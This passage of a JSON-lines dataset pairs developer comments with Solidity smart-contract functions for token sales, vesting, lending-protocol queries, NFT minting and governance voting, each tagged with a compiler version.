memory r) {\n uint256 len = self.length;\n r = new uint[](len);\n for (uint i = 0; i < len; i++) {\n r[i] = f(self[i]);\n }\n }", "version": "0.6.12"} {"comment": "// function rewardExtras() onlyHarvester external view returns(uint256[] memory totals) {\n// totals = new uint256[](_rewards.length);\n// for (uint256 i = 0; i < _rewards.length; i++) {\n// totals[i] = _rewardExtra[_rewards[i]];\n// }\n// }", "function_code": "function owedRewards() external view returns(uint256[] memory rewards) {\n rewards = new uint256[](_rewards.length);\n mapping (IERC20 => uint256) storage owed = _owedRewards[msg.sender];\n for (uint256 i = 0; i < _rewards.length; i++) {\n IERC20 token = _rewards[i];\n rewards[i] = owed[token];\n }\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw tokens only after the deliveryTime.\r\n */", "function_code": "function withdrawTokens() public {\r\n require(goalReached());\r\n // solium-disable-next-line security/no-block-members\r\n require(block.timestamp > deliveryTime);\r\n super.withdrawTokens();\r\n uint256 _bonusTokens = bonuses[msg.sender];\r\n if (_bonusTokens > 0) {\r\n bonuses[msg.sender] = 0;\r\n require(token.approve(address(timelockController), _bonusTokens));\r\n require(\r\n timelockController.createInvestorTokenTimeLock(\r\n msg.sender,\r\n _bonusTokens,\r\n deliveryTime,\r\n this\r\n )\r\n );\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.\r\n * It computes the bonus and store it using the timelockController.\r\n * @param _beneficiary Address receiving the tokens\r\n * @param _tokenAmount Number of tokens to be purchased\r\n */", "function_code": "function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal {\r\n uint256 _totalTokens = _tokenAmount;\r\n // solium-disable-next-line security/no-block-members\r\n uint256 _bonus = getBonus(block.timestamp, _beneficiary, msg.value);\r\n if (_bonus>0) {\r\n uint256 _bonusTokens = _tokenAmount.mul(_bonus).div(100);\r\n // make sure the crowdsale contract has enough tokens to transfer the purchased tokens and to create the timelock bonus.\r\n uint256 _currentBalance = token.balanceOf(this);\r\n require(_currentBalance >= _totalTokens.add(_bonusTokens));\r\n bonuses[_beneficiary] = bonuses[_beneficiary].add(_bonusTokens);\r\n _totalTokens = _totalTokens.add(_bonusTokens);\r\n }\r\n tokensToBeDelivered = tokensToBeDelivered.add(_totalTokens);\r\n super._processPurchase(_beneficiary, _tokenAmount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Computes the bonus. The bonus is\r\n * - 0 by default\r\n * - 30% before reaching the softCap for those whitelisted.\r\n * - 15% the first week\r\n * - 10% the second week\r\n * - 8% the third week\r\n * - 6% the remaining time.\r\n * @param _time when the purchased happened.\r\n * @param _beneficiary Address performing the token purchase.\r\n * @param _value Value in wei involved in the purchase.\r\n */", "function_code": "function getBonus(uint256 _time, address _beneficiary, uint256 _value) view internal returns (uint256 _bonus) {\r\n //default bonus is 0.\r\n _bonus = 0;\r\n \r\n // at this level the amount was added to weiRaised\r\n if ( (weiRaised.sub(_value) < goal) && earlyInvestors.whitelist(_beneficiary) ) {\r\n _bonus = 30;\r\n } else {\r\n if (_time < openingTime.add(7 days)) {\r\n _bonus = 15;\r\n } else if (_time < openingTime.add(14 days)) {\r\n _bonus = 10;\r\n } else if (_time < openingTime.add(21 days)) {\r\n _bonus = 8;\r\n } else {\r\n _bonus = 6;\r\n }\r\n }\r\n return _bonus;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Performs the finalization tasks:\r\n * - if goal reached, activate the controller and burn the remaining tokens\r\n * - transfer the ownership of the token contract back to the owner.\r\n */", "function_code": "function finalization() internal {\r\n // only when the goal is reached we burn the tokens and activate the controller.\r\n if (goalReached()) {\r\n // activate the controller to enable the investors and team members \r\n // to claim their tokens when the time comes.\r\n timelockController.activate();\r\n\r\n // calculate the quantity of tokens to be burnt. The bonuses are already transfered to the Controller.\r\n uint256 balance = token.balanceOf(this);\r\n uint256 remainingTokens = balance.sub(tokensToBeDelivered);\r\n if (remainingTokens>0) {\r\n BurnableTokenInterface(address(token)).burn(remainingTokens);\r\n }\r\n }\r\n Ownable(address(token)).transferOwnership(owner);\r\n super.finalization();\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Create new vesting schedules in a batch\r\n * @notice A transfer is used to bring tokens into the VestingDepositAccount so pre-approval is required\r\n * @param _beneficiaries array of beneficiaries of the vested tokens\r\n * @param _amounts array of amount of tokens (in wei)\r\n * @dev array index of address should be the same as the array index of the amount\r\n */", "function_code": "function createVestingSchedules(\r\n address[] calldata _beneficiaries,\r\n uint256[] calldata _amounts\r\n ) external onlyOwner {\r\n require(\r\n _beneficiaries.length > 0,\r\n \"VestingContract::createVestingSchedules: Empty Data\"\r\n );\r\n require(\r\n _beneficiaries.length == _amounts.length,\r\n \"VestingContract::createVestingSchedules: Array lengths do not match\"\r\n );\r\n\r\n for (uint256 i = 0; i < _beneficiaries.length; i++) {\r\n _createVestingSchedule(_beneficiaries[i], _amounts[i]);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// @notice Fetches Compound prices for tokens\n/// @param _cTokens Arr. of cTokens for which to get the prices\n/// @return prices Array of prices", "function_code": "function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) {\n prices = new uint[](_cTokens.length);\n address oracleAddr = comp.oracle();\n\n for (uint i = 0; i < _cTokens.length; ++i) {\n prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]);\n }\n }", "version": "0.6.6"} {"comment": "/// @notice Fetches all the collateral/debt address and amounts, denominated in usd\n/// @param _user Address of the user\n/// @return data LoanData information", "function_code": "function getLoanData(address _user) public view returns (LoanData memory data) {\n address[] memory assets = comp.getAssetsIn(_user);\n address oracleAddr = comp.oracle();\n\n data = LoanData({\n user: _user,\n ratio: 0,\n collAddr: new address[](assets.length),\n borrowAddr: new address[](assets.length),\n collAmounts: new uint[](assets.length),\n borrowAmounts: new uint[](assets.length)\n });\n\n uint collPos = 0;\n uint borrowPos = 0;\n\n for (uint i = 0; i < assets.length; i++) {\n address asset = assets[i];\n\n (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa)\n = CTokenInterface(asset).getAccountSnapshot(_user);\n\n Exp memory oraclePrice;\n\n if (cTokenBalance != 0 || borrowBalance != 0) {\n oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)});\n }\n\n // Sum up collateral in Usd\n if (cTokenBalance != 0) {\n Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa});\n (, Exp memory tokensToUsd) = mulExp(exchangeRate, oraclePrice);\n\n data.collAddr[collPos] = asset;\n (, data.collAmounts[collPos]) = mulScalarTruncate(tokensToUsd, cTokenBalance);\n collPos++;\n }\n\n // Sum up debt in Usd\n if (borrowBalance != 0) {\n data.borrowAddr[borrowPos] = asset;\n (, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance);\n borrowPos++;\n }\n }\n\n data.ratio = uint128(getSafetyRatio(_user));\n\n return data;\n }", "version": "0.6.6"} {"comment": "/// @notice Information about cTokens\n/// @param _cTokenAddresses Array of cTokens addresses\n/// @return tokens Array of cTokens infomartion", "function_code": "function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) {\n tokens = new TokenInfo[](_cTokenAddresses.length);\n address oracleAddr = comp.oracle();\n\n for (uint i = 0; i < _cTokenAddresses.length; ++i) {\n (, uint collFactor) = comp.markets(_cTokenAddresses[i]);\n\n tokens[i] = TokenInfo({\n cTokenAddress: _cTokenAddresses[i],\n underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]),\n collateralFactor: collFactor,\n price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i])\n });\n }\n }", "version": "0.6.6"} {"comment": "// Notes:\n// - This function does not track if real IERC20 balance has changed. Needs to blindly \"trust\" DaiProxy.", "function_code": "function onFundingReceived(address lender, uint256 amount)\r\n external\r\n onlyCreated\r\n onlyProxy\r\n returns (bool)\r\n {\r\n if (isAuctionExpired()) {\r\n if (auctionBalance < minAmount) {\r\n setState(LoanState.FAILED_TO_FUND);\r\n emit FailedToFund(address(this), lender, amount);\r\n return false;\r\n } else {\r\n require(setSuccessfulAuction(), \"error while transitioning to successful auction\");\r\n emit FailedToFund(address(this), lender, amount);\r\n return false;\r\n }\r\n }\r\n uint256 interest = getInterestRate();\r\n lenderPosition[lender].bidAmount = lenderPosition[lender].bidAmount.add(amount);\r\n auctionBalance = auctionBalance.add(amount);\r\n\r\n lastFundedTimestamp = block.timestamp;\r\n\r\n if (auctionBalance >= minAmount && !minimumReached) {\r\n minimumReached = true;\r\n emit Funded(address(this), lender, amount, interest, lastFundedTimestamp);\r\n emit MinimumFundingReached(address(this), auctionBalance, interest);\r\n } else {\r\n emit Funded(address(this), lender, amount, interest, lastFundedTimestamp);\r\n }\r\n\r\n if (auctionBalance == maxAmount) {\r\n require(setSuccessfulAuction(), \"error while transitioning to successful auction\");\r\n emit FullyFunded(\r\n address(this),\r\n borrowerDebt,\r\n auctionBalance,\r\n interest,\r\n lastFundedTimestamp\r\n );\r\n }\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/// @notice Calculates the gas cost for transaction\n/// @param _amount Amount that is converted\n/// @param _user Actuall user addr not DSProxy\n/// @param _gasCost Ether amount of gas we are spending for tx\n/// @param _tokenAddr token addr. of token we are getting for the fee\n/// @return gasCost The amount we took for the gas cost", "function_code": "function getGasCost(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint gasCost) {\n address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();\n\n if (_gasCost != 0) {\n uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr);\n _gasCost = wmul(_gasCost, price);\n\n gasCost = _gasCost;\n }\n\n // fee can't go over 20% of the whole amount\n if (gasCost > (_amount / 5)) {\n gasCost = _amount / 5;\n }\n\n if (_tokenAddr == ETH_ADDR) {\n WALLET_ADDR.transfer(gasCost);\n } else {\n ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, gasCost);\n }\n }", "version": "0.6.6"} {"comment": "// bytes b must be hp encoded", "function_code": "function _getNibbleArray(bytes memory b)\n internal\n pure\n returns (bytes memory)\n {\n bytes memory nibbles = \"\";\n if (b.length > 0) {\n uint8 offset;\n uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b));\n if (hpNibble == 1 || hpNibble == 3) {\n nibbles = new bytes(b.length * 2 - 1);\n bytes1 oddNibble = _getNthNibbleOfBytes(1, b);\n nibbles[0] = oddNibble;\n offset = 1;\n } else {\n nibbles = new bytes(b.length * 2 - 2);\n offset = 0;\n }\n\n for (uint256 i = offset; i < nibbles.length; i++) {\n nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b);\n }\n }\n return nibbles;\n }", "version": "0.7.3"} {"comment": "// withdrawBalance\n// - Withdraws balance to contract owner\n// - Automatic withdrawal of donation ", "function_code": "function withdrawBalance() public onlyOwner {\r\n // Get the total balance\r\n uint256 balance = address(this).balance;\r\n\r\n // Get share to send to donation wallet (10 % charity donation)\r\n uint256 donationShare = balance.mul(donationPercentage).div(100);\r\n uint256 ownerShare = balance.sub(donationShare);\r\n \r\n // Transfer respective amounts\r\n payable(msg.sender).transfer(ownerShare);\r\n payable(donationWallet).transfer(donationShare);\r\n }", "version": "0.8.4"} {"comment": "// Mint boy\n// - Mints lostboys by quantities", "function_code": "function mintBoy(uint numberOfBoys) public payable {\r\n require(mintingActive, \"Minting is not activated yet.\");\r\n require(numberOfBoys > 0, \"Why are you minting less than zero boys.\");\r\n require(\r\n totalSupply().add(numberOfBoys) <= MAX_LOSTBOYS,\r\n 'Only 10,000 boys are available'\r\n );\r\n require(numberOfBoys <= maxBoysPerMint, \"Cannot mint this number of boys in one go !\");\r\n require(lostBoyPrice.mul(numberOfBoys) <= msg.value, 'Ethereum sent is not sufficient.');\r\n\r\n for(uint i = 0; i < numberOfBoys; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_LOSTBOYS) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "// mintBoyAsMember\n// - Mints lostboy as whitelisted member", "function_code": "function mintBoyAsMember(uint numberOfBoys) public payable {\r\n require(isPresaleActive, \"Presale is not active yet.\");\r\n require(numberOfBoys > 0, \"Why are you minting less than zero boys.\");\r\n require(_whiteListedMembers[msg.sender] == MemberClaimStatus.Listed, \"You are not a whitelisted member !\");\r\n require(_whiteListMints[msg.sender].add(numberOfBoys) <= MAX_PRESALE_BOYS_PER_ADDRESS, \"You are minting more than your allowed presale boys!\");\r\n require(totalSupply().add(numberOfBoys) <= MAX_LOSTBOYS, \"Only 10,000 boys are available\");\r\n require(numberOfBoys <= maxBoysPerPresaleMint, \"Cannot mint this number of presale boys in one go !\");\r\n require(lostBoyPrice.mul(numberOfBoys) <= msg.value, 'Ethereum sent is not sufficient.');\r\n \r\n for(uint i = 0; i < numberOfBoys; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_LOSTBOYS) {\r\n _safeMint(msg.sender, mintIndex);\r\n _whiteListMints[msg.sender] = _whiteListMints[msg.sender].add(1);\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/// @notice Disable internal _transfer function", "function_code": "function transferFrom(address from, address to, uint256 tokenId) public override(ERC721, IERC721) onlyManager {\r\n // Disable internal _transfer function for ERC721 - do nth, must use safeTransferFrom to transfer token\r\n _transfer(from, to, tokenId);\r\n }", "version": "0.7.6"} {"comment": "/// @notice Mint a new token of `productId` and `serialNumber` and assigned to `to`\n/// @dev Only `_manager` can mint", "function_code": "function mintItem(uint256 productId, uint256 serialNumber, address to) external override onlyManager returns (uint256) {\r\n\r\n /// increase counter by one\r\n _tokenCounter.increment();\r\n\r\n uint256 newTokenId;\r\n // retry if token clash. given it 10 retries, but shouldn't happen.\r\n for (uint i = 0; i < 10; i++) {\r\n newTokenId = _generateHash(name(), _tokenCounter.current());\r\n if (!_exists(newTokenId)) {\r\n break;\r\n }\r\n }\r\n\r\n /// call erc721 safe mint function\r\n _safeMint(to, newTokenId);\r\n\r\n /// link token Id to product index\r\n _productIds[newTokenId] = productId;\r\n /// set serial number of an item\r\n _serialNumbers[newTokenId] = serialNumber;\r\n /// emit token mint event\r\n emit TokenMinted(newTokenId, productId, to);\r\n\r\n return newTokenId;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Safely transfers the ownership of a given token ID to another address\r\n * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},\r\n * which is called upon a safe transfer, and return the magic value\r\n * `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`; otherwise,\r\n * the transfer is reverted.\r\n * Requires the _msgSender() to be the owner, approved, or operator\r\n * @param from current owner of the token\r\n * @param to address to receive the ownership of the given token ID\r\n * @param tokenId uint256 ID of the token to be transferred\r\n * @param _data bytes data to send along with a safe transfer check\r\n */", "function_code": "function safeTransferFrom(\r\n address from,\r\n address to,\r\n uint256 tokenId,\r\n bytes memory _data\r\n ) public {\r\n require(\r\n _isApprovedOrOwner(_msgSender(), tokenId),\r\n \"ERC721: transfer caller is not owner nor approved\"\r\n );\r\n _safeTransferFrom(from, to, tokenId, _data);\r\n }", "version": "0.5.17"} {"comment": "// member function to mint time based vesting tokens to a beneficiary", "function_code": "function mintTokensWithTimeBasedVesting(address beneficiary, uint256 tokens, uint256 start, uint256 cliff, uint256 duration) public onlyOwner {\r\n require(beneficiary != 0x0);\r\n require(tokens > 0);\r\n\r\n vesting[beneficiary] = new TokenVesting(beneficiary, start, cliff, duration, false);\r\n require(token.mint(address(vesting[beneficiary]), tokens));\r\n\r\n HOSTTimeVestingTokensMinted(beneficiary, tokens, start, cliff, duration);\r\n }", "version": "0.4.18"} {"comment": "// Function to withdraw or send Ether from Contract owner's account to a specified account.", "function_code": "function TransferToGsContractFromOwnerAccount(address payable receiver, uint amount) public {\r\n require(msg.sender == owner, \"You're not owner of the account\"); // Only the Owner of this contract can run this function.\r\n require(amount < address(this).balance, \"Insufficient balance.\");\r\n receiver.transfer(amount);\r\n emit GdpSentFromAccount(msg.sender, receiver, amount);\r\n }", "version": "0.5.17"} {"comment": "//\n// Token Creation/Destruction Functions\n//\n// For a holder to buy an offer of tokens", "function_code": "function purchase()\r\n payable\r\n canEnter\r\n returns (bool)\r\n {\r\n Holder holder = holders[msg.sender];\r\n // offer must exist\r\n require(holder.offerAmount > 0);\r\n // offer not expired\r\n require(holder.offerExpiry > now);\r\n // correct payment has been sent\r\n require(msg.value == holder.offerAmount * TOKENPRICE);\r\n \r\n updateDividendsFor(holder);\r\n \r\n revoke(holder);\r\n \r\n totalSupply += holder.offerAmount;\r\n holder.tokenBalance += holder.offerAmount;\r\n TokensCreated(msg.sender, holder.offerAmount);\r\n \r\n delete holder.offerAmount;\r\n delete holder.offerExpiry;\r\n \r\n revote(holder);\r\n election();\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// For holders to destroy tokens in return for ether during a redeeming\n// round", "function_code": "function redeem(uint _amount)\r\n public\r\n canEnter\r\n isHolder(msg.sender)\r\n returns (bool)\r\n {\r\n uint redeemPrice;\r\n uint eth;\r\n \r\n Holder holder = holders[msg.sender];\r\n require(_amount <= holder.tokenBalance);\r\n \r\n updateDividendsFor(holder);\r\n \r\n revoke(holder);\r\n \r\n redeemPrice = fundBalance() / totalSupply;\r\n // prevent redeeming above token price which would allow an arbitrage\r\n // attack on the fund balance\r\n redeemPrice = redeemPrice < TOKENPRICE ? redeemPrice : TOKENPRICE;\r\n \r\n eth = _amount * redeemPrice;\r\n \r\n // will throw if either `amount` or `redeemPRice` are 0\r\n require(eth > 0);\r\n \r\n totalSupply -= _amount;\r\n holder.tokenBalance -= _amount;\r\n holder.etherBalance += eth;\r\n committedEther += eth;\r\n \r\n TokensDestroyed(msg.sender, _amount);\r\n revote(holder);\r\n election();\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// ========== MODIFIERS ========== //\n// ========== MUTATIVE FUNCTIONS ========== //\n// ========== PRIVATE / INTERNAL ========== //\n// ========== RESTRICTED FUNCTIONS ========== //", "function_code": "function setRewardTokens(address[] calldata _tokens, bool[] calldata _statuses)\r\n external\r\n onlyOwner {\r\n require(_tokens.length > 0, \"please pass a positive number of reward tokens\");\r\n require(_tokens.length == _statuses.length, \"please pass same number of tokens and statuses\");\r\n\r\n for (uint i = 0; i < _tokens.length; i++) {\r\n rewardsTokens[_tokens[i]] = _statuses[i];\r\n }\r\n\r\n emit LogSetRewardTokens(_tokens, _statuses);\r\n }", "version": "0.7.5"} {"comment": "//\n// Ballot functions\n//\n// To vote for a preferred Trustee.", "function_code": "function vote(address _candidate)\r\n public\r\n isHolder(msg.sender)\r\n isHolder(_candidate)\r\n returns (bool)\r\n {\r\n // Only prevent reentry not entry during panic\r\n require(!__reMutex);\r\n \r\n Holder holder = holders[msg.sender];\r\n revoke(holder);\r\n holder.votingFor = _candidate;\r\n revote(holder);\r\n election();\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "/**\n Get asset 1 twap price for the period of [now - secondsAgo, now]\n */", "function_code": "function getTWAP(int56[] memory prices, uint32 secondsAgo)\n internal\n pure\n returns (int128)\n {\n // Formula is\n // 1.0001 ^ (currentPrice - pastPrice) / secondsAgo\n if (secondsAgo == 0) {\n return ABDKMath64x64.fromInt(1);\n }\n int256 currentPrice = int256(prices[1]);\n int256 pastPrice = int256(prices[0]);\n\n int256 diff = currentPrice - pastPrice;\n uint256 priceDiff = diff < 0 ? uint256(-diff) : uint256(diff);\n\n int128 power = ABDKMath64x64.divu(10001, 10000);\n int128 _fraction = ABDKMath64x64.divu(priceDiff, uint256(secondsAgo));\n uint256 fraction = uint256(ABDKMath64x64.toUInt(_fraction));\n\n int128 twap = ABDKMath64x64.pow(power, fraction);\n\n // This is necessary because we cannot call .pow on unsigned integers\n // And thus when asset0Price > asset1Price we need to reverse the value\n twap = diff < 0 ? ABDKMath64x64.inv(twap) : twap;\n return twap;\n }", "version": "0.7.6"} {"comment": "/**\n * Helper function to calculate how much to swap to deposit / withdraw\n * In Uni Pool to satisfy the required buffer balance in xU3LP of 5%\n */", "function_code": "function calculateSwapAmount(\n uint256 amount0ToMint,\n uint256 amount1ToMint,\n uint256 amount0Minted,\n uint256 amount1Minted,\n int128 liquidityRatio\n ) internal pure returns (uint256 swapAmount) {\n // formula: swapAmount =\n // (amount0ToMint * amount1Minted -\n // amount1ToMint * amount0Minted) /\n // ((amount0Minted + amount1Minted) +\n // liquidityRatio * (amount0ToMint + amount1ToMint))\n uint256 mul1 = amount0ToMint.mul(amount1Minted);\n uint256 mul2 = amount1ToMint.mul(amount0Minted);\n\n uint256 sub = subAbs(mul1, mul2);\n uint256 add1 = amount0Minted.add(amount1Minted);\n uint256 add2 =\n ABDKMath64x64.mulu(\n liquidityRatio,\n amount0ToMint.add(amount1ToMint)\n );\n uint256 add = add1.add(add2);\n\n // Some numbers are too big to fit in ABDK's div 128-bit representation\n // So calculate the root of the equation and then raise to the 2nd power\n uint128 subsqrt = ABDKMath64x64.sqrtu(sub);\n uint128 addsqrt = ABDKMath64x64.sqrtu(add);\n int128 nRatio = ABDKMath64x64.divu(subsqrt, addsqrt);\n int64 n = ABDKMath64x64.toInt(nRatio);\n swapAmount = uint256(n)**2;\n }", "version": "0.7.6"} {"comment": "// comparator for 32-bit timestamps\n// @return bool Whether a <= b", "function_code": "function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) internal pure returns (bool) {\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 2**32;\n uint256 bAdjusted = b > time ? b : b + 2**32;\n\n return aAdjusted <= bAdjusted;\n }", "version": "0.7.6"} {"comment": "// Loops through holders to find the holder with most votes and declares\n// them to be the Executive;", "function_code": "function election()\r\n internal\r\n {\r\n uint max;\r\n uint winner;\r\n uint votes;\r\n uint8 i;\r\n address addr;\r\n \r\n if (0 == totalSupply) return;\r\n \r\n while(++i != 0)\r\n {\r\n addr = holderIndex[i];\r\n if (addr != 0x0) {\r\n votes = holders[addr].votes;\r\n if (votes > max) {\r\n max = votes;\r\n winner = i;\r\n }\r\n }\r\n }\r\n trustee = holderIndex[winner];\r\n Trustee(trustee);\r\n }", "version": "0.4.10"} {"comment": "/// @notice This mints a teddy.\n/// @param recipient This is the address of the user who is minting the teddy.\n/// @param voucher This is the unique NFTVoucher that is to be minted.", "function_code": "function mintNFT(address recipient, NFTVoucher calldata voucher) external payable returns (uint256) {\n address signer = _verify(voucher);\n require(voucher.tokenId > 0, \"Invalid Token ID.\");\n require(voucher.edition >= 1 && voucher.edition <= 5, \"Invalid token data. (Edition must be between 1 and 5)\");\n require(voucher.locked == true || (voucher.locked == false && voucher.edition == 1), \"Only first edition NFT's can be minted unlocked.\");\n require(owner() == signer, \"This voucher is invalid.\");\n require(msg.value == _safeParseInt(voucher.initialPrice), \"Incorrect amount of ETH sent.\");\n require(_editions[voucher.edition] < _maxSupply[voucher.edition], \"No more NFT's available to be minted.\");\n \n _setTokenLock(voucher.tokenId, voucher.locked);\n _incrementEditionCount(voucher.edition);\n _safeMint(recipient, voucher.tokenId);\n _setTokenURI(voucher.tokenId, voucher.uri);\n \n return voucher.tokenId;\n }", "version": "0.8.0"} {"comment": "/// @notice When a user orders a custom NFT, the user works with our designer to build the perfect NFT.\n/// Once happy with the product, the metadata is updated using this function and locked.\n/// @param tokenId The Token ID to be updated\n/// @param uri The new URI to be set on the token.", "function_code": "function updateMetadata(uint256 tokenId, string calldata uri) external onlyOwner {\n require(tokenId <= 100, \"Customizations are only available for the first 100 tokens.\");\n require(_locks[tokenId] != true, \"The metadata for this token is locked.\");\n _setTokenLock(tokenId, true);\n _setTokenURI(tokenId, uri);\n }", "version": "0.8.0"} {"comment": "/// @notice Gets all the tokens that the address owns.\n/// @param _owner The address of an owner you want to view tokens of.", "function_code": "function getTokenIds(address _owner) external view returns (uint[] memory) {\n uint[] memory _tokensOfOwner = new uint[](balanceOf(_owner));\n uint i;\n\n for (i = 0; i < balanceOf(_owner); i++) {\n _tokensOfOwner[i] = tokenOfOwnerByIndex(_owner, i);\n }\n\n return (_tokensOfOwner);\n }", "version": "0.8.0"} {"comment": "/// @notice This safely converts a string into an uint.\n/// @param _a This is the string to be converted into a uint.", "function_code": "function _safeParseInt(string memory _a) private pure returns (uint _parsedInt) {\n bytes memory bresult = bytes(_a);\n uint mint = 0;\n bool decimals = false;\n for (uint i = 0; i < bresult.length; i++) {\n if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) {\n if (decimals) {\n break;\n }\n mint *= 10;\n mint += uint(uint8(bresult[i])) - 48;\n } else if (uint(uint8(bresult[i])) == 46) {\n require(!decimals, 'More than one decimal encountered in string!');\n decimals = true;\n } else {\n revert(\"Non-numeral character encountered in string!\");\n }\n }\n return mint;\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice Make New 0xBatz \r\n * @param amount Amount of 0xBatz to mint\r\n * @dev Utilize unchecked {} and calldata for gas savings.\r\n */", "function_code": "function mint(uint256 amount) public payable {\r\n require(mintEnabled, \"Minting is disabled.\");\r\n require(psupply + amount <= maxSupply - reserved, \"Amount exceeds maximum supply of 0xBatz.\");\r\n require(amount <= perMint, \"Amount exceeds current maximum 0xBatz per mint.\");\r\n require(price * amount <= msg.value, \"Ether value sent is not correct.\");\r\n uint16 supply = psupply;\r\n unchecked {\r\n for (uint16 i = 0; i < amount; i++) {\r\n _safeMint(msg.sender, supply++);\r\n }\r\n }\r\n psupply = supply;\r\n\r\n if (psupply == 666) {\r\n price = mintPrice;\r\n perMint = 10;\r\n }\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @notice Send reserved 0xBatz \r\n * @param _to address to send reserved nfts to.\r\n * @param _amount number of nfts to send \r\n */", "function_code": "function fetchTeamReserved(address _to, uint16 _amount)\r\n public\r\n onlyOwner\r\n {\r\n require( _to != address(0), \"Zero address error\");\r\n require( _amount <= reserved, \"Exceeds reserved babies supply\");\r\n uint16 supply = psupply;\r\n unchecked {\r\n for (uint8 i = 0; i < _amount; i++) {\r\n _safeMint(_to, supply++);\r\n }\r\n }\r\n psupply = supply;\r\n reserved -= _amount;\r\n }", "version": "0.8.10"} {"comment": "//////////////////////////////////////////////////\n/// Begin Ulink token functionality\n//////////////////////////////////////////////////\n/// @dev Ulink token constructor", "function_code": "function Ulink() public\r\n {\r\n // Define owner\r\n owner = msg.sender;\r\n // Define initial owner supply. (ether here is used only to get the decimals right)\r\n uint _initOwnerSupply = 50000 ether;\r\n // One-time bulk mint given to owner\r\n bool _success = mint(msg.sender, _initOwnerSupply);\r\n // Abort if initial minting failed for whatever reason\r\n require(_success);\r\n\r\n ////////////////////////////////////\r\n // Set up state minting variables\r\n ////////////////////////////////////\r\n\r\n // Set last minted to current block.timestamp ('now')\r\n ownerTimeLastMinted = now;\r\n \r\n // 4100 minted tokens per day, 86400 seconds in a day\r\n ownerMintRate = calculateFraction(4100, 86400, decimals);\r\n \r\n // 5,000,000 targeted minted tokens per year via staking; 31,536,000 seconds per year\r\n globalMintRate = calculateFraction(5000000, 31536000, decimals);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Sets or upgrades the RariGovernanceTokenDistributor of the RariFundToken. Caller must have the {MinterRole}.\r\n * @param newContract The address of the new RariGovernanceTokenDistributor contract.\r\n * @param force Boolean indicating if we should not revert on validation error.\r\n */", "function_code": "function setGovernanceTokenDistributor(address payable newContract, bool force) external onlyMinter { \r\n if (!force && address(rariGovernanceTokenDistributor) != address(0)) {\r\n require(rariGovernanceTokenDistributor.disabled(), \"The old governance token distributor contract has not been disabled. (Set `force` to true to avoid this error.)\");\r\n require(newContract != address(0), \"By default, the governance token distributor cannot be set to the zero address. (Set `force` to true to avoid this error.)\");\r\n }\r\n\r\n rariGovernanceTokenDistributor = IRariGovernanceTokenDistributor(newContract);\r\n\r\n if (newContract != address(0)) {\r\n if (!force) require(block.number <= rariGovernanceTokenDistributor.distributionStartBlock(), \"The distribution period has already started. (Set `force` to true to avoid this error.)\");\r\n if (block.number < rariGovernanceTokenDistributor.distributionEndBlock()) rariGovernanceTokenDistributor.refreshDistributionSpeeds(IRariGovernanceTokenDistributor.RariPool.Yield);\r\n }\r\n\r\n emit GovernanceTokenDistributorSet(newContract);\r\n }", "version": "0.5.17"} {"comment": "/*\r\n * @notice Moves `amount` tokens from the caller's account to `recipient`.\r\n * @dev Claims RGT earned by the sender and `recipient` beforehand (so RariGovernanceTokenDistributor can continue distributing RGT considering the new RYPT balances).\r\n * @return A boolean value indicating whether the operation succeeded.\r\n */", "function_code": "function transfer(address recipient, uint256 amount) public returns (bool) {\r\n // Claim RGT/set timestamp for initial transfer of RYPT to `recipient`\r\n if (address(rariGovernanceTokenDistributor) != address(0) && block.number > rariGovernanceTokenDistributor.distributionStartBlock()) {\r\n rariGovernanceTokenDistributor.distributeRgt(_msgSender(), IRariGovernanceTokenDistributor.RariPool.Yield);\r\n if (balanceOf(recipient) > 0) rariGovernanceTokenDistributor.distributeRgt(recipient, IRariGovernanceTokenDistributor.RariPool.Yield);\r\n else rariGovernanceTokenDistributor.beforeFirstPoolTokenTransferIn(recipient, IRariGovernanceTokenDistributor.RariPool.Yield);\r\n }\r\n\r\n // Transfer RYPT and returns true\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Caller must have the 